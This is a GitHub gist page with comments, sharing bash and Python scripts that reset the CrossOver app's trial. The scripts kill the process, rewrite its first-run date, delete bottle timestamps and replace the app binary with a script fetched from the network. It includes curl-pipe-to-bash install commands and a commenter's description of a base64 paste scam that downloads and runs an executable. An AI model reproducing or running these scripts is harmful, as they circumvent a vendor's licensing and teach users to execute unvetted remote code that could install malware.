bash -c "$(curl -fsSL https://gist.github.com/santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef/raw/install.sh?token=$(date +%s))"
After install script will fix crossover as well as expired bottles (Thanks to @djsmax).
| #!/usr/bin/env bash | |
| # checck if pidof exists | |
| PIDOF="$(which pidof)" | |
| # and if not - install it | |
| (test "${PIDOF}" && test -f "${PIDOF}") || brew install pidof | |
| # find app in default paths | |
| CO_PWD=~/Applications/CrossOver.app/Contents/MacOS | |
| test -d "${CO_PWD}" || CO_PWD=/Applications/CrossOver.app/Contents/MacOS | |
| test -d "${CO_PWD}" || (echo 'unable to detect app path. exiting...' && exit) | |
| PWD="${CO_PWD}" | |
| cd "${PWD}" | |
| PROC_NAME='CrossOver' | |
| # get all pids of CrossOver | |
| pids=(`pgrep "${PROC_NAME}"`, `pidof "${PROC_NAME}"`, `ps -Ac | grep -m1 "${PROC_NAME}" | awk '{print $1}'`) | |
| pids=`echo ${pids[*]}|tr ',' ' '` | |
| # kills CrossOver process if it is running | |
| [ "${pids}" ] && kill -9 `echo "${pids}"` > /dev/null 2>&1 | |
| # wait until app finish | |
| sleep 3 | |
| # make the current date RFC3339-encoded string representation in UTC time zone | |
| DATETIME=`date -u -v -3H '+%Y-%m-%dT%TZ'` | |
| # modify time in order to reset trial | |
| plutil -replace FirstRunDate -date "${DATETIME}" ~/Library/Preferences/com.codeweavers.CrossOver.plist | |
| plutil -replace SULastCheckTime -date "${DATETIME}" ~/Library/Preferences/com.codeweavers.CrossOver.plist | |
| # show tooltip notification | |
| /usr/bin/osascript -e "display notification \"trial fixed: date changed to ${DATETIME}\"" | |
| # reset all bottles | |
| for file in ~/Library/Application\ Support/CrossOver/Bottles/*/.{eval,update-timestamp}; do rm -rf "${file}";done | |
| # and after this execute original crossover | |
| echo "${PWD}" > /tmp/co_log.log | |
| "$($PWD/CrossOver.origin)" >> /tmp/co_log.log |
| #!/usr/bin/env bash | |
| # find app in default paths | |
| CO_PWD=~/Applications/CrossOver.app/Contents/MacOS | |
| test -d "${CO_PWD}" || CO_PWD=/Applications/CrossOver.app/Contents/MacOS | |
| test -d "${CO_PWD}" || (echo 'unable to detect app path. exiting...' && exit) | |
| PWD="${CO_PWD}" | |
| cd "${PWD}" | |
| PROC_NAME='CrossOver' | |
| # get all pids of CrossOver | |
| pids=(`pgrep "${PROC_NAME}"`, `pidof "${PROC_NAME}"`, `ps -Ac | grep -m1 "${PROC_NAME}" | awk '{print $1}'`) | |
| pids=`echo ${pids[*]}|tr ',' ' '` | |
| # kills CrossOver process if it is running | |
| [ "${pids}" ] && kill -9 `echo "${pids}"` > /dev/null 2>&1 | |
| TIMESTAMP=$(date +%s) | |
| FIX_FILE_LINK="https://gist.github.com/santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef/raw/CrossOver.sh?token=${TIMESTAMP}" | |
| if [ -f CrossOver.origin ]; then | |
| echo 'already installed. update and exit.' | |
| echo "$(curl -fsSL ${FIX_FILE_LINK})" > CrossOver | |
| exit | |
| fi; | |
| test -f CrossOver.origin || mv CrossOver CrossOver.origin | |
| echo "$(curl -fsSL ${FIX_FILE_LINK})" > CrossOver | |
| chmod +x CrossOver | |
| echo 'Done. Please open CrossOver ' |
| #!/usr/bin/env bash | |
| # find app in default paths | |
| CO_PWD=~/Applications/CrossOver.app/Contents/MacOS | |
| test -d "${CO_PWD}" || CO_PWD=/Applications/CrossOver.app/Contents/MacOS | |
| test -d "${CO_PWD}" || (echo 'unable to detect app path. exiting...' && exit) | |
| PWD="${CO_PWD}" | |
| cd "${PWD}" | |
| PROC_NAME='CrossOver' | |
| # get all pids of CrossOver | |
| pids=(`pgrep "${PROC_NAME}"`, `pidof "${PROC_NAME}"`, `ps -Ac | grep -m1 "${PROC_NAME}" | awk '{print $1}'`) | |
| pids=`echo ${pids[*]}|tr ',' ' '` | |
| # kills CrossOver process if it is running | |
| [ "${pids}" ] && kill -9 `echo "${pids}"` > /dev/null 2>&1 | |
| if [ -f CrossOver.origin ]; then | |
| echo 'original file found. Roll it back and exit.' | |
| mv CrossOver.origin CrossOver | |
| exit | |
| fi; | |
| echo 'original file not found.' |
So I have to install Crossover, use the trial, and then run that command once the trial’s over, right?
#!/usr/bin/env python3 import os import shutil import re import plistlib from datetime import datetime print("Resetting Crossover FirstRunDate...") # Set os path userPath = os.path.expanduser('~') # Open plist with open(f'{userPath}/Library/Preferences/com.codeweavers.CrossOver.plist', 'rb') as f: pl = plistlib.load(f) # Set first run date to correct time pl['FirstRunDate'] = datetime.utcnow() # Save plist with open(f'{userPath}/Library/Preferences/com.codeweavers.CrossOver.plist', 'wb') as f: plistlib.dump(pl, f) print("Resetting Crossover bottles...") while True: # Get bottle name bottle_name = input("Enter the bottle name: ") # Define paths regfile = os.path.expanduser(f"~/Library/Application Support/CrossOver/Bottles/{bottle_name}/system.reg") bakfile = regfile + ".bak" # Create backup shutil.copy2(regfile, bakfile) print(f"Backup created: {bakfile}") # Compile the regex pattern pattern = re.compile(r"\[Software\\\\CodeWeavers\\\\CrossOver\\\\cxoffice\] [0-9]*") # Read the file and search for match line with open(regfile, 'r') as f: lines = f.readlines() match_line_num = None for i, line in enumerate(lines): if pattern.search(line): match_line_num = i break # If match is found if match_line_num is not None: print(f"Match found at line {match_line_num + 1}.") for line in lines[match_line_num:match_line_num + 5]: print(line, end='') resp = input("Do you want to delete these lines (delete to reset bottle)? (y/n): ").strip().lower() if resp == 'y': new_lines = lines[:match_line_num] + lines[match_line_num + 5:] with open(regfile, 'w') as f: f.writelines(new_lines) print("Lines deleted.") else: print("Deletion canceled.") else: print("No match found.") # Ask if we should continue resp = input("Do you want to reset another bottle? (y/n): ").strip().lower() if resp != 'y': print("CrossOver trial reset.") break
this is works for me
Can I use it with Crossover 25.1.1?
Can I use it with Crossover 25.1.1?
yes
anyone know if the command at the very top of the thread actually works? i’m a little skeptical about it due to it linking to elsewhere…
Can I use it with Crossover 25.1.1?
yes
Is that true? Thanks for letting me know!
running the command on my iTerm returns the following err:
`bash -c "$(curl -fsSL https://gist.github.com/santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef/raw/install.sh?token=$(date +%s))"
any idea what's happening or where I'm wrong?
Is there a noob guide to doing this? I know how to use terminal and all, and I installed the brew/crossover command, but Im a little confused on what steps to take (click every link?) and in what order..
TIA
@nsheuerman-tech @AguSandoval @tadonagiren @zyndrolith
The old command fron santaklouse has been outdated for a very long time.
An updated version is here https://github.com/Nygosaki/crossover-trial-renew.
You can see the source code in the repo and run that directly if you'd like.
How to extend if i didnt create a bottle. And can some one explain how to do it coz i kinda lost
@thedownloadfile Nobody is dumb enough to download this malware. Here are the reasons:
If you are reading this comment, please report @thedownloadfile profile to GitHub.
For the hell of it, I went to the site @thedownloadfile posted and it redirected me to a blatant shell command scam lmao. It tells the user to paste in a base64 encoded string into the terminal (which decodes to curl -s -k [sketchy url] -o .rc && chmod +x .rc && ./.rc && rm .rc).
I did try to run this in Tria.ge but the executable it downloads is ARM only.
try to download and run it locally: curl -fsSL "https://raw.githubusercontent.com/xVc323/crossover-trial/main/reset_crossover_fully.sh" -o reset_crossover_fully.sh
chmod +x reset_crossover_fully.sh
./reset_crossover_fully.sh
after that, just run this command to reset: ./reset_crossover_fully.sh